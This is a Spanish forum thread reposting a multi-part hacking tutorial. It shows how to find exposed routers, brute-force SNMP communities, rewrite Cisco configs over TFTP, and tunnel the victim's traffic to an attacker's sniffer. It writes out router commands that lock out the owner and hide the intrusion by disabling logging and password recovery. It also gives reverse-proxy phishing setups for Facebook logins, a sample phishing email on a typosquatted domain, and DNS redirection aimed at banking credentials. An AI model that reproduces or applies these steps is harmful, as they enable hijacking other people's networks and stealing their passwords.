Redes y Comunicación > Redes (WAN, LAN, MAN, CAM, ...)

Y tras el router… Qué? (by Vic_Thor)

(1/7) > >>

kikerap:
Pues este es otro taller de Vic_Thor, en el que por lo que he leido (aun no he acabado todo), nos enseña a entrar a un router a traves de internet, crear una vpn con dicho router, configurando el firewall a nuestro gusto. Configuraremos el router victima a nuestro gusto para que redirija el trafico a nuestra interfaz, donde estará esperando nuestro sniffer preferido, "tocaremos" el servicio SNMP desactivando las comunidades existentes y creando una a nuestro gusto, cambiaremos la contraseña de administracion, crearemos un usuario con privilegios de admin, "jugaremos" con los servicios dns, y muuuuuchas cosas mas, que descubrireis.



1ª PARTE

Y tras el router… Qué?

Bueno… esto no es que sea del todo muy, bueno… ya me entendéis.

En este hilo preguntaba nuestro compañero jochy  “Cómo atacar desde el router” http://www.wadalbertia.org/foro/viewtopic.php?f=4&t=5993

Bueno, pues la gente responde que si Upnp, que si hacer nat, que si meter un host a la DMZ, etc, etc…

Todas ellas son válidas, por supuesto, pero vamos a dar un par de pasos mas.

El primero, por qué no redirigir el DNS???

Pues claro!!! Si ya tenemos acceso al router podemos enviar las peticiones de los legítimos clientes de la LAN a un DNS bajo control del atacante, luego éste puede responder con las resoluciones que mas interese… con lo cual eso del pharming, phising, etc, está servido.

De hecho, se pueden hacer auténticas “diabluras” y con poco “esfuerzo” por parte del atacante. Si el “atacante” además de simplemente sustituir la resolución de nombres por las falsificadas está un poco espabilado, puede juguetear con proxys inversos de tal forma, que además de soplarle las contraseñas de autenticación tipo Facebook, foros, etc… no tiene ni porque “falsear” la web auténtica.. ni hacer complicadas páginas que “parezcan” iguales a las originales, sencillamente puede hacer pasar por su máquina todo lo que se le antoje.

Interesante, no?? Pues eso para otro post, que en este toca otra cosa…

En el hilo que anteriormente mencionaba, el de jochy, respondí algo así:


--- Citar ---“Si tienes acceso al router (a su configuración) y si es un router "majo" puedes hasta crear un túnel (incluso vpn) con otro router de internet... puedes hacer pasar TODO el tráfico de esa lan por tu ordenador (tu sabrás lo que haces luego con eso) y/o si configuras una vpn, pues eso... que como si estuvieses sentadito en esa red.
….
….”
--- Fin de la cita ---

Esa respuesta tiene dos vertientes:

1.- Hacer pasar el tráfico de esa red por tu lan
2.- Crear un túnel y/o VPN para conectarte a esa Lan desde tu PC.

En este post tratamos sólo el caso 2 (que ya es bastante) y también dejaremos el caso 1 para otro momento…. Así que por ahora tenemos pendiente el tema de los DNS y del enrutamiento hacia la máquina del atacante que podríamos llamarlo algo así como “esnifar desde Internet”

Como todo en la vida lo que vamos a realizar requiere de algunos conocimientos (pocos) para por lo menos saber lo que estamos haciendo y también de las herramientas necesarias.

Para “manipular” el router remoto y acceder a la lan que protege necesitamos:

a.- Acceder al router como administrador
b.- Que el router permita la creación de túneles y/o VPN
c.- Que el atacante disponga de un router que permita lo mismo y/o usar clientes de conexión VPN

Lo mas sencillo sería que el atacante utilice un router idéntico al de la víctima, por supuestísismo que esto no es obligatorio, pero simplifica las cosas si queremos crear (por ejemplo) un túnel sitio-a-sitio (obviamente el atacante ya se asegurará de bloquear las conexiones que inicien los clientes-víctima hacia su propia LAN y permitir sólo las que inicie él)

Lamentablemente Internet está lleno de routers expuestos a este tipo de ataques… principalmente porque los colocan así como vienen de fábrica y no se preocupan o no saben ni cambiar el pass de acceso, por ello hay que ser “legales” y tomar este documento como un estudio y no como un arma.

Por ejemplo, supongamos que tenemos un router BT Voyager, SAR110-130, etc…, NetGear DM600, DLink RTA o cualquiera de esos GlobeSpanVirata o Viking.

Buscar “indefensos” propietarios de esos routers en Internet es juego de niños, basta con ir a Google, buscar en foros, blogs, etc… y los encontramos sin mas.

Veamos un ejemplo… Supongamos que queremos encontrar uno de ellos, (como “novedad” lo vamos a ver en un vídeo)

http://free.7host05.com/verolulu/vpnswf/Buscador1.swf

Como ves, acabamos de encontrar (Google lo encontró) unas cuantas entradas…

Escogí la segunda esa que pone login, en ella vemos una ip, así que vamos escanear el rango de ip’s que nos mostraba Google.

Para ello podemos usar cualquier escáner, yo escogí superscan que es muy rápido y sólo los puertos 80, 23 y 8080… tras unos pocos intentos… lo encontramos:

http://free.7host05.com/verolulu/vpnswf/Superscan.swf

En el vídeo vemos que se trata de un router GS8100, por lo que vamos a necesitar ls documentación del mismo para poder crear el túnel.

Este tipo de Routers basados en GlobeSpanVirata no permiten la configuración de túneles y vpn por el interface web, toca hacerlo por línea de comandos.

Así que buscamos la documentación:

http://free.7host05.com/verolulu/vpnswf/Buscador2.swf

Vale, ya tenemos el manual y todo…

Para crear un tunel L2TP entre ese router y el nuestro tendríamos que poner algo así:


--- Código: ---$create l2tp tunnel config ifname l2t-0 localip 190.42.42.236 remoteip 88.6.15.2 localhostname RASCA remotehostname PICA start initiator remote
--- Fin del código ---
donde localip es la direccion ip de “la víctima” y remoteip es la direccion ip del atacante.

Obviamente el atacante, debería también configurar su router “dando la vuelta” a los parámetros…


--- Código: ---$create l2tp tunnel config ifname l2t-0 localip 88.6.15.2 remoteip 190.42.42.236 localhostname PICA remotehostname RASCA start initiator local
--- Fin del código ---
El video:

http://free.7host05.com/verolulu/vpnswf/create.swf

Desgraciada o afortunadamente ese modelo de router no cuenta con el firmware actualizado para implementar túneles y/o VPN, hombre… ya puestos podríamos actualizarle el software al router (cosa que no voy a hacer) pero podría ser así:

http://free.7host05.com/verolulu/vpnswf/Upgrade1.swf

No le actualicé el firmware (por supuesto) aunque a lo mejor le venía hasta bien, jejeje, pero entre otras cosas como tiene ip dinámica después del upgrade hay que reiniciarlo y claro, ya no será la misma Ip y habría que buscarlo de nuevo (cosa que tampoco sería gran problema, pero mejor no tocarlo)

Así que con las mismas, vamos a buscar otros routers “vulnerables” mejor con IP fija y a ser posible que no haya que actualizarles el firmware….

Para esta práctica… pues buscamos lo “fácil” que son los Zyxel de telefónica.

Digo que son los fáciles porque averiguar rangos de ip’s estáticas de telefónica es una sencilla consulta en Google o en RIPE, y saber si el router lleva el firmware actualizado basta con ver en las cabeceras de la conexión http algo así como:


--- Código: ---http/1.1 401 Unautorized.WWW-Autenticate: Basic realm=”Prestige 650H/HW-33”…
--- Fin del código ---
En este video vemos el scan de esa red… permitidme que distorsione las mismas, son estáticas y … bueno, por si acaso….

http://free.7host05.com/verolulu/vpnswf/Zyxel.swf

Vale, ya tenemos a nuestro “conejillo de indias”, no sé quienes o quienes son, vamos a ver como está ese router, una cosa… como “no quería” que el auténtico propietario del router accediese al mismo mientras “trabajaba” pues simplemente le cambié la contraseña… luego lo dejaré todo como lo encontré.

Además, para crear la VPN va a ser necesario poner la IP o el nombre de dominio del atacante… vamos, que si acceden al router podrán ver nuestros datos… y eso no está bien.

De éste vídeo averiguaremos que:

* La dirección de la LAN que utiliza es 192.168.0.0 255.255.255.0
* La dirección IP del router interna es 192.168.0.1
* No tiene activado el Firewall
* No tiene activado ningún túnel ni VPN
* No tiene reglas internas de firewall
* No tiene reglas externas de firewall
* No hay Logs ni para VPN ni para el firewall
* NAT hacia la dirección 192.168.0.100 para escritorio remoto (puerto 3389 de TCP)

Lógicamente si no tiene el Firewall activado es normal que no disponga de reglas para el mismo y tampoco existan logs

También es lógico que al no existir VPN definidas tampoco existan reglas ni logs de acceso.

Una cosa importante!!!! Que luego volveré a recordar, cuando activemos el cortafuegos que no se nos olvide añadir reglas de permiso desde Internet hacia el router por los puertos 80 y/o 23 puesto que si no lo hacemos así, perderemos la conexión por la web o Telnet con el router…

Lo vemos, entonces…

http://free.7host05.com/verolulu/vpnswf/router1.swf

Bueno, en el siguiente video vamos a habilitar el firewall con las reglas que nos permitan conectarnos mediante un cliente VPN o un router para poder crear el túnel cliente a sitio o sitio a sitio.

También vamos a añadir las reglas necesarias para Telnet y para el puerto 80 de http y bueno… meteremos también icmp para comprobar que está online mediante un ping.

Las reglas del firewall se pueden/deben aplicar desde la LAN a Internet y desde Internet a la LAN, la primera serán los puertos y/o protocolos que permiten a los clientes de la red salir a Internet y la segunda lo contrario, lo que se permite desde Internet a la red local.

También es importante advertir que hasta que el firewall no esté activo ninguna de las reglas se aplican, recordad activar el firewall DESPUES de añadir las reglas o perderéis la conexión.

De momento veamos el vídeo para crear las reglas internas que por defecto le vamos a dejar salir por todos los puertos y protocolos, y las reglas externas que filtramos las conexiones desde Internet únicamente a 80 y 23 de TCP mas lo del ICMP

Como vimos antes, el administrador de este router hizo nat hacia una máquina por el puerto 3389 (Escritorio remoto) pues también crearemos esa regla para que lo pueda seguir haciendo una vez apliquemos las reglas y activemos el cortafuegos.

También podríamos dejar pasar el protocolo DNS, no estaría mal… eso lo haremos luego de otra forma a lo que veremos a continuación

http://free.7host05.com/verolulu/vpnswf/router2.swf

Vale, ahora tocan las reglas de la VPN, en esta ocasión en lugar de crear una regla para cada puerto-protocolo, vamos a agruparlas TODAS en una sola, el efecto es el mismo que si definimos una por una… pero es mas corto… a ello:

http://free.7host05.com/verolulu/vpnswf/router3.swf

Según hemos visto, permitimos IPSEC, GRE, PPtP, AH e IKE, no es preciso que estén todos ellos, depende de la vpn que deseemos crear, en nuestro caso no sobrarían GRE y PPtP, pero bueno… por si acaso me/nos da por crear un túnel “versus RRAS de Windows Server” (este utiliza PPtP 1723 de TCP) o por si nos da por un Cisco con GRE… vamos que ya lo tenemos.

También habréis notado que habilité los logs para en las reglas del firewall para la VPN, esto lo hago por si acaso hay algún problema en la conexión poder ver los mensajes de error, por ejemplo problemas de autenticación, apertura del túnel, etc…

Nos faltaría activar el firewall y crear la VPN, ahora lo hacemos:

http://free.7host05.com/verolulu/vpnswf/router4.swf

Antes de configurar la VPN hay que saber la configuración del atacante, es decir, de mi equipo, router, ip’s…

http://free.7host05.com/verolulu/vpnswf/Ataca1.swf

Resumiendo, configuración LOCAL del atacante:


--- Código: ---IP: 172.28.1.48 255.255.255.0
IP Interna del Router: 172.28.1.10
IP Pública del Router: 83.60.158.126
--- Fin del código ---

La configuración de la Víctima:


--- Código: ---RED: 192.168.0.0 255.255.255.0
IP interna del router: 192.168.0.1
IP Pública del router: xxx.xxx.xxx.xxx (ya sabéis por qué no la pongo…)
--- Fin del código ---
Esto (o parte de esto) hay que ponerlo en la configuración de la VPN, vamos…

http://free.7host05.com/verolulu/vpnswf/router5.swf

Vale, pues ya tenemos la VPN creada, ahora sólo hay que “probar”

Necesitamos un cliente VPN y configurarlo con los parámetros del servidor VPN, nos vamos a descargar uno cualquiera (el vpn client de cisco mejor no que tiene sus particularidades…) yo escogí este:

TheGreenBow vpn client, lo podemos bajar de aquí:

http://www.thegreenbow.fr/cgi-bin/thegreenbow_vpn_client.exe?EN

La instalación es como las de siempre… siguiente, siguiente, …. Y finalizar.

Eso si, es MUY IMPORTANTE que tras la instalación del cliente vpn REINICIES el equipo o no funcionará.

Ahora veamos esto, lo primero que hay que hacer es ELIMINAR toda la configuración inicial y crear la nuestra propia….

http://free.7host05.com/verolulu/vpnswf/router6.swf

Y tras eso, pues bueno… podemos escanear la red 192.168.0.0 en busca de equipos, recursos compartidos, etc…

Pues eso, que espero que haya sido “instructivo” y que lo disfrutéis… pero… hombre, no pensarás que te vas a escapar de la “carga teórica”, eh!!

Recuerdo que hace años puse unos pdfs de VPN, no sé si aquí o en el extinto HxC, pero bueno, vamos a hacer un repaso rápido a la VPN de esta práctica, pero como no me lo permite el sueeeeñoooo que tengo lo haré a lo largo de la semana.

kikerap:
2ª PARTE

En este post vamos a escenificar cómo crear un túnel entre el router “víctima” y el router del atacante tal y como “se prometió” en su día y hacer pasar todo el tráfico (o sólo el que nos interese) por ese túnel para que el supuesto atacante capture los datos.

Se supone que conocemos la ip pública de la víctima, o bien, hemos realizado un scan + OSFingerprinting de una ip o rango de ip’s.

Concretamente vamos a buscar routers cisco, que son más fáciles de crear los túneles que en otros… aunque parezca mentira.

También puede ocurrir que ya sepamos de antemano que determinada ip/red utiliza este tipo de routers.

Una vez localizada la IP, como es mi caso, nos hacemos un pequeño gráfico de cómo es la cosa:



Por el momento sólo conocemos la IP pública de nuestra víctima: 193.251.1.17

Y nuestros datos, claro….

Vale, pues seguimos suponiendo… podríamos probar los password y usuarios por defecto, podríamos lanzar un ataque por diccionario, o también…. Lo que vamos a realizar.

Vamos a intentarlo, no vaya ser que por una de esas casualidades de la vida (que no es tan casual, mas bien en muy habitual) tiene activado la administración por SNMP.

El protocolo SNMP puede permitir a los administradores gestionar los dispositivos, y ciertamente, muchos de los routers, Webcams, etc… que hay desperdigados por Internet tienen habilitado ese protocolo, en muchas ocasiones (mas de las que deberían ser) los propietarios de esos “aparatos” se limitan a utilizar una comunidad privada y no dotan de seguridad al protocolo SNMP, mejor dicho, al servicio SNMP.

Es bastante habitual encontrarnos comunidades “public” de sólo lectura (RO) y comunidades privadas (la-que-sea) de lectura-escritura (RW)

Tanto si es de sólo lectura o de lectura-escritura, los datos que arrojan de verdad que asustan… podemos ver la configuración “casi total” del router, en este caso.

Veremos sus interfaces, ips, tablas de enrutamiento, incluso hasta las reglas y filtros aplicados, vamos… un peligro.

Para llevar a cabo este “ataque” debemos ser capaces de “cambiar” la configuración del router, es decir, o sabemos la contraseña y/o usuario de acceso, o podemos “tirar” del servicio SNMP si está habilitado (y mal configurado),

Vamos a usar este segundo apartado, SNMP. Y para que podamos modificar su configuración es preciso encontrar una comunidad SNMP de lectura-escritura, no nos vale la de sólo lectura… queremos modificar.

Pues venga… a ello… ya hemos dicho que “de la forma que sea” conocemos que la IP 193.251.1.17 es de un router cisco, y antes de liarnos con el tema SNMP probaremos unas cuantas contraseñas de acceso (las típicas por defecto)

http://free.7host05.com/verolulu/videosnmp/video01.swf

Pues no hemos tenido suerte… vamos a ver si SNMP está funcionando….

http://free.7host05.com/verolulu/videosnmp/video02.swf

Correcto! SNMP aparece como Abierto-Filtrado y aparentemente debe estar “por detrás” funcionando el servicio.

Ahora debemos probar si eso que aparecía en el vídeo anterior era un falso positivo o si de verdad existe ese servicio corriendo en el router… probemos con alguna de las herramientas para la enumeración SNMP.

http://free.7host05.com/verolulu/videosnmp/video03.swf

Hombre… como ves hay mucha información… claro que he probado con la comunidad public que habitualmente está….

Pero…

y si no sabemos que comunidades están definidas?

Y si la comunidad public es de sólo lectura?

Pues vamos a realizar un ataque por diccionario al servicio SNMP y con suerte… lo tendremos.

Vamos al vídeo:

http://free.7host05.com/verolulu/videosnmp/video04.swf

He usado metasploit Framework…. Hay otras muchas posibilidades pero esta es sencilla y efectiva.

Como has visto en el vídeo, se usa un diccionario, obviamente puedes/debes usar “otro” más completo, pero con este nos sirvió por el momento…

Descubrimos que existen dos comunidades una que se llama public y otra que se llama empresa.

Ahora vamos a comprobar si alguna de ellas es de lectura-escritura

http://free.7host05.com/verolulu/videosnmp/video05.swf

Listo!!! Ya tenemos el nombre de la comunidad con permisos de lectura-escritura.

Ahora ya podemos (o intentaremos) descargarnos la configuración del router víctima a nuestro PC, luego la modificaremos para crear el tunel, y por último se la subiremos de nuevo a la vícitma.

Cómo??? Pues mediante TFTP.

Por defecto todos los routers cisco traen habilitado el cliente TFTP para poder actualizar tanto la IOS (El Sistema operativo) como el archivo de configuración… Lo único que tenemos que hacer es poner en marcha un servidor TFTP en nuestro equipo y “traer o llevar los archivos”

Podríamos hacerlo “a mano” recorriendo la MIB y modificando los valores para copiar lo que nos interese… pero estos chicos de Backtrack han pensado en todo y ya nos incorporan el programita que lo hace por nosotros.

Lo único que tenemos que hacer es permitir en nuestro router que “pase” el protocolo TFTP hacia nuestro PC. Como eso es de nuestra propiedad lo podemos hacer sin mas.

Lo que debemos saber es nuestra IP pública (86.32.4.51) el puerto que usa TFTP (69 de udp) y la máquina que corre el servidor (172.28.0.66) y con esto, hacemos NAT en nuestro router…

http://free.7host05.com/verolulu/videosnmp/video06.swf

Una vez hecho el “mapeo” de puertos hacia la máquina local del atacante, vamos a lanzar el programa para obtener el tan ansiado archivo de configuración

http://free.7host05.com/verolulu/videosnmp/video07.swf

Pues ya lo tenemos… ahora hay que configurarlo…. Lo que vamos a hacer es esto:

CREAR EL TUNEL


--- Código: --- interface Tunnel0
ip address 192.268.200.1 255.255.255.0
ip nat inside
tunnel source 193.251.1.17
tunnel destination 86.32.4.51
--- Fin del código ---
      
Creamos una interface virtual del túnel con IP 192.168.200.1, hacemos nat interno en esta interface, y le decimos que el origen del tunel es la IP pública de la víctima y que el destino del túnel es la IP pública del atacante.

Estarás pensando que esto “es arriesgado” puesto que si el admin. de la víctima “mira” el archivo de configuración nos pilla… pues sip-.—pero esto lo arreglaremos después

CREAR UNA LISTA DE ACCESO QUE PERMITA PASAR EL TRÁFICO QUE NOS INTERESE. EN NUESTRO CASO TODO EL TRÁFICO.


--- Código: --- access-list 166 permit ip any any
--- Fin del código ---
A esto sin comentarios… eso que pase TODO

CREAR UNA NUEVA RUTA ESTÁTICA PARA PODERNOS COMUNICAR LAN-to-LAN


--- Código: ---ip route 172.28.0.0 255.255.255.0 192.168.200.2
--- Fin del código ---
Con esto le indicamos al router que para ir “a la red del atacante” debe hacerlo por la IP 192.168.200.2

Y esa IP??? De quien es??? Pues obviamente en el router del atacante debemos crear “el otro extremo del túnel” y lógicamente pondremos que la ip es 192.168.200.2.

Y haremos algo parecido… ip route 192.168.1.0 255.255.255.0 192.168.200.1

Es decir, la comunicación entre las dos redes locales se hace por la interface del tunel del otro extremo.

Obviamente, el atacante, tendrá que tomar “sus precauciones” para que el tráfico hacia su red iniciado por los equipos de la red vícitma sea denegado y que sólo permita la entrada de aquello que el atacante haya iniciado… porque sino…. El cazador cazado.

CREAR UN MAPA DE RUTEO


--- Código: --- route-map enviar permit 10
match ip address 166
set ip next-hop 192.168.200.2
--- Fin del código ---
      
Veamos, creamos una “mapa de rutas” y le asignamos el nombre enviar (puede ser cualquier otro, claro) con número 10 (esto no es importante, pero que no esté repetido) y le decimos que permita (permit) aquello que diga la lista de acceso 166 (recuerda que era TODO) y… esto es importante… el tráfico será desviado a la IP 192.168.200.2

Por sí mismo el comando route-map “no hace nada”, nada hasta que se aplica a una interface determinada mediante otro comando llamado ip policy route-map que aplica las políticas de enrutamiento a la interface adecuada.

Una cosa IMPORTANTE acerca del comando ip policy route-map

En los routers CISCO las políticas de enrutamiento se aplican sobre una interface… eso ya lo dije, pero sólo tienen efecto en el tráfico de ENTRADA!!!!!

Es decir, si aplicamos el comando ip policy route-map enviar sobre la interface pública… que ocurrirá???

Pues que si todo es como lo explicado, el tráfico de entrada a esta interface se reenviará por el túnel al atacante…dicho de otro modo… imagina que un equipo de esa red navega hacia el foro de Wadalbertia… ¿qué recogerá el esnifer del atacante? Pues el tráfico que envíe el Server de wadalbertia y no el tráfico que sale de la red de la víctima.

Si por el contrario esa politica de rutas la aplicamos en la interface privada de la red de la víctima, el esnifer del atacante recibirá las peticiones de esa red pero no las respuestas.

Obviamente… las aplicamos en las dos interfaces y ya está, no? Así podremos recibir el tráfico de entrada y de salida, verdad?

Bueno, pues sí y no… dependerá también del otro extremo (el del atacante) puesto que éste tendrá que reenviar ya sean las respuestas o las peticiones…

En este ejemplo lo haremos únicamente para el tráfico que sale de la red vícitima hacia Internet… ya te dejo para ti el resto…. Con esto podremos, por ejemplo, cazar contraseñas, etc… ya lo veremos, pues eso el siguiente paso será:

APLICAR ROUTE-MAP SOBRE LA INTERFACE ADECUADA


--- Código: ---Interface FastEthernet1/0
ip policy route-map enviar
--- Fin del código ---
      
Obviamente, la interface f1/0 es la interface Ethernet (FastEthernet) que conecta la red privada al router.

CAMBIAR LA CONTRASEÑA DE ADMINISTRACIÓN y MASSSSSS


--- Código: ---enable secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
username admin secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
no logging 192.168.1.88
no snmp-server community public RO
no snmp-server community empresa RW
no service password-recovery
--- Fin del código ---
   
   
a ver… primero esto de: $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0 no es otra cosa que una nueva contraseña… en este caso papito:30-60-90

y lo que hacemos es cambiar la contraseña de acceso al router del modo privilegiado (la del administrador) por esa nueva (así el verdadero admin. no podrá ver el túnel)

También aplicamos la misma contraseña a la base de datos local que usaba TELNET (de ese modo tampoco podrá acceder por Telnet al router)

Al echar un vistazo a la configuración original del router, encontramos una línea que dice logging 192.168.1.88 eso no es bueno… eso quiere decir que “aparentemente” existe una máquina en esa red (la 192.168.1.88) que actúa como syslog y recogerá alertas, alarmas, etc… si es así… nos habrán pillado… por tanto si no estamos muy seguros… casi sería mejor dejarlo aquí… pero bueno.. quedáis advertidos.

El caso es que deshabilitamos el envío de logs al servidor.

Desactivamos snmp (mediante las líneas no snmp etc….) de es modo tampoco podrá administrar el router vía snmp (y así no podrá ver el tunel)

Aunque pensándolo mejor, esto no lo haremos ahora... puesto que si nos falla algo... y desactivamos snmp.... pues no podremos volver a copiar la configuración... mejor no lo haremos... luego.... mas tarde....

Y la última… la última es una “maldad”

Los routers cisco disponen de un mecanismo de recuperación de contraseñas “de emergencia” sin perder el archivo de configuración, de ese modo si el admin. “pierde” la contraseña, se le olvida (o se la cambian como es este caso), puede iniciar ese procedimiento de emergencia, y si lo hace… pondrá la contraseña que el quiera y podrá ver nuestra querida ip del tunel… y nos habrá pillado.

Bueno, pues con esa línea: no service password-recovery, si el admin. intenta el procedimiento de recuperación de contraseñas…. Pues PERDERÁ el archivo de configuración y por tanto (además de tener que reconfigurar el router) no podrá ver lo que le hicimos.

Claro… esto último no tiene sentido si no “salvamos” el archivo de configuración en el router victima… de momento todo esto que estamos haciendo tendrá validez mientras no reinicien el router… si lo reinician… pues se pierde todo y como si nada… aquí no pasó nada… También nos ocuparemos de eso… o no… depende….

Bien, creo que no me dejo nada… veamos el vídeo que pone en marcha todo esto: (recordad que ya tenemos en nuestro poder el archivo de configuración)

En este vídeo suponemos que ya hemos escrito todos esos comandos en el archivo de configuración (para no alargar mucho el vídeo) tan sólo vamos a ver en el vídeo la comprobación que todo está como se explicó anteriormente.

http://free.7host05.com/verolulu/videosnmp/video08.swf

ya hemos visto en el vídeo que se aplicaron todas esas modificaciones ya comentadas… y alguna mas como el nombre del router, el banner de bienvenida, desactivar los mensajes de tiempos y marcas horarias.

Ahora nos queda “subirlo” al router víctima

http://free.7host05.com/verolulu/videosnmp/video09.swf

Bueno… parece que dio un error, lo explico.

Si el atacante hubiese creado el túnel apropiadamente no tendría que dar tal error… recuerdas lo del ip policy????

Pues claro, como lo aplicamos… recibimos sus peticiones pero no las respuestas… pero debería haber funcionado OK-

Para comprobarlo… pues como “sabemos” la contraseña (la hemos creado “al gusto”) que es papito:30-60-90 podremos hacer Telnet al router…

A ver si es cierto y de paso… cambiaremos el nombre de las comunidades (para que no pueda acceder por SNMP el admin del router) y si queremos (si hemos activado no service password-recovery) pues podríamos guardar definitivamente la configuración y así disponer del túnel de forma indefinida….

Esto último no lo haré… bueno sí lo haré pero NO DEBERÍA hacerlo puesto que esta IOS no permite ese comando… lo vamos a ver en el vídeo.

También cambiaré la base de datos local para no tener que escribir “dos veces” la famosa contraseña… crearé un usuario llamado Vic_Thor con contraseña mitesoro con privilegios administrativos.

http://free.7host05.com/verolulu/videosnmp/video10.swf

Como has visto en el vídeo este router no nos permite el comando service password-recovery, por tanto no habría sido conveniente el guardar la configuración… se hizo… mal hecho, desde luego.

Bien, ahora toca configurar el router del atacante…que dispone también de un router CISCO (nada mejor para “juankear” un Cisco que otro Cisco)

Prácticamente es todo igual, excepto algunas cosillas, por ejemplo que el route-map NO debe ir hacia la red de la victima (a menos que quieras convertirte en víctima y verdugo) debe “apuntar” hacia una máquina del atacante y que ésta reenvie el tráfico.

Por lo demás, es muy, muy parecido… a ello:

ojo!! este vídeo se para... algo hice mal.... así que cuando se pare, le dais de nuevo al play para que siga

http://free.7host05.com/verolulu/videosnmp/video11.swf

Como has visto es “casi lo mismo” crear el tunel, la lista de acceso, el mapa de rutas, etc… Solo que en esta ocasión en lugar de aplicar la politica de ruteo en la interface privada o pública lo hacemos sobre la interface de tunnel y por supuesto, el siguiente salto será la máquina que corre el esnifer… luego desde esa máquina reenviaremos el tráfico.

También advierte que los parámetros cambian, donde antes era el destino ahora es el origen y viceversa. Veamos lo que hay que hacer en la máquina del atacante y después probaremos….

http://free.7host05.com/verolulu/videosnmp/video12.swf

Y ahora probamos…. Un Windows de la red vícitma accede a google…..

http://free.7host05.com/verolulu/videosnmp/video13.swf

Y por último… vamos a ver si cazamos algo “interesante”

Supongamos que la víctima accede a wadalbertia… y se identifica en el foro…. Conseguiremos la contraseña???

Pues como muestra….

http://free.7host05.com/verolulu/videosnmp/video14.swf

Pues eso… creo que por hoy también vale ya….

PD: Como veras… las ips publicas son verdaderas… o no…. Jejeje, no las busques que no están disponibles, todo esto es real…pero todo está virtualizado, por ello no fue preciso en esta ocasión “difuminar” a víctimas y atacantes, los routers “reales” no son esos.

kikerap:
3ª PARTE


Ok, aunque esto es parte de la "cuarta parte" te adelanto...

La forma mas sencilla es con VirtualHost, bien basado en IP o en ServerName, por ejemplo para IP


--- Código: ---<VirtualHost xxx.xxx.xxx.xxx:80>
  ServerAdmin [email protected]
  ServerName pepito.com
  ServerAlias www.pepito.com
  ProxyPass / http://www.manolo.com/
  ProxyPassReverse / http://www.manolo.com/
</VirtualHost>
--- Fin del código ---


--- Código: ---<VirtualHost xxx.xxx.xxx.xxx:80>
  ServerAdmin [email protected]
  ServerName ana.com
  ServerAlias www.ana.com
  ProxyPass / http://www.maripili.com/
  ProxyPassReverse / http://www.maripili.com/
</VirtualHost>
--- Fin del código ---

y así los que gustes...

También puedes cambiar puertos o definir las xxx.xxx.xxx.xxx como el nombre de dominio


--- Código: ---<VirtualHost gamberros.com:8080>
  ServerAdmin [email protected]
  ServerName gamberros.com
  ServerAlias www.gamberros.com
  ProxyPass / http://www.chicosbuenos.com:80/
  ProxyPassReverse / http://www.chicosbuenos.com:80/
</VirtualHost>
--- Fin del código ---

al grano.... imagina... por ejemplo facebook cuando accedes a facebook (normalmente) se hace mediante http://www.facebook.com por el puerto 80, y cuando te registras... pues te dirige a https://login.facebook.com (ojo que es https)

pues entre otras cosas necesitarás algo así:


--- Código: ---NameVirtualHost www.facebook.com
<VirtualHost www.facebook.com:80>
  .....
  .....
  ServerAlias www.facebook.com
  ProxyPass / http://www.lo-que-sea.com/
  ProxyPassReverse / http://www.lo-que-sea.com/
</VirtualHost>
--- Fin del código ---


--- Código: ---NameVirtualHost login.facebook.com
<VirtualHost login.facebook.com:443>
  .....
  .....
  ServerAlias login.facebook.com
  ProxyPass / https://www.lo-que-sea.com/
  ProxyPassReverse / https://www.lo-que-sea.com/
</VirtualHost>
--- Fin del código ---

Bueno... esto no es del todo operativo... pero es que hay que esperar a la parte IV.

Es mas... si avanzamos "otro paso" (seguro que mas de uno ya se dio cuenta) NO HACE FALTA manipular el router víctima!!!!

Supongamos este caso: Picardía + un poco de suerte... o ese nombre tan rimbombante de "ingeniería social"

Imagina que un "atacante" tiene registrado el dominio wadalbetia.org (fíjate que falta la "r" de wadalbertia... vamos un nombre muy parecidito...

Es mas... por ejemplo el dominio wadalbertia.com actualmente no está registrado... pongamos que lo registra un "malhechor"

Si por ejemplo conoces a el mail de un user de este foro y le envías un correo de esos falsos...

"Dr. Wadalberto Informa:

Estimado usuario a partir de este momento ya puedes acceder a nuestros foros desde http://www.wadalbertia.com siendo este otro dominio conquistado por las huestes de estas tierras.

Esperamos que sea de tu agrado esta gran noticia y pedimos tu colaboración para que en futuras ocasiones utilices dicho dominio, te rogamos compruebes su disponibilidad de acceso.

Recuerda: http://www.wadalbertia.com es ahora nuestro foro.

Accede y escribenos!!!

Saludos!"

O simplemente le envias un correo de esos que dicen que tienes un nuevo mensaje en tu bandeja de entrada y le pones como enlace http://www.wadalbetia.org (repito lo de la "r")

Pues si configuras el ProxyPass y ProxyPassReverse adecuadamente... pasará por tu linda máquina

Otras fórmulas válidas es eso de usar minilink o tinnylink y postearlo en el foro..., o también, esas cosas de: bla, bla, bla pulsa aqui o aqui

(si pulsáis dará error, claro... espero que no haya nadie jugando "sucio")

En fin... que ya vendrá el resto....

kikerap:
4ª PARTE


En esta ocasión tampoco usaremos túneles ni VPN’s,. nos vamos a seguir aprovechando de la redirección de los DNS de la víctima que apuntarán a la/las máquinas que determine el atacante… Sólo que ahora vamos a trabajar con “otras” herramientas y con “otros” conceptos. Concretamente nos vamos a centrar en SSL (las comunicaciones seguras por Internet), seguiremos utilizando Reverse Proxy y lo combinaremos con SSLDump, con SSLStrip, con DNScat, DNSlogger (una versión “modificada” por este siervo de Wadalbertia que nos hará la vida mas fácil para implementar los ataques) , crearemos los certificados de seguridad necesarios, etc, etc.. y con el mismo objetivo… capturar las contraseña de acceso “seguras” hacia webs del tipo paypal, Facebook, correo tipo yahoo… y por qué no… entidades bancarias???

Configuración de la Red Víctima:

Asumimos que los servidores DNS de la/las máquinas de la red víctima apuntan a alguna máquina bajo el control del atacante… esto ya lo tenemos desde la partes anteriores, lo que tenemos que hacer es configurar ese router comprometido y colocar como DNS Primario la IP pública del atacante o si se dispone de un dominio registrado en Internet bajo control… pues eso,

Para todo este ejemplo, la configuración de la red víctima es:


--- Código: ---IP Pública: 193.251.1.17
IP’s Privadas: 192.168.1.x/24 (esto ciertamente no nos “interesa” en esta ocasión)
DNS Primario: 86.32.4.51 (que es la ip pública del atacante)
DNS Secundario y otros… cualquiera de los públicos de Internet. 195.235.113.3, 80.58.0.33, etc…
--- Fin del código ---

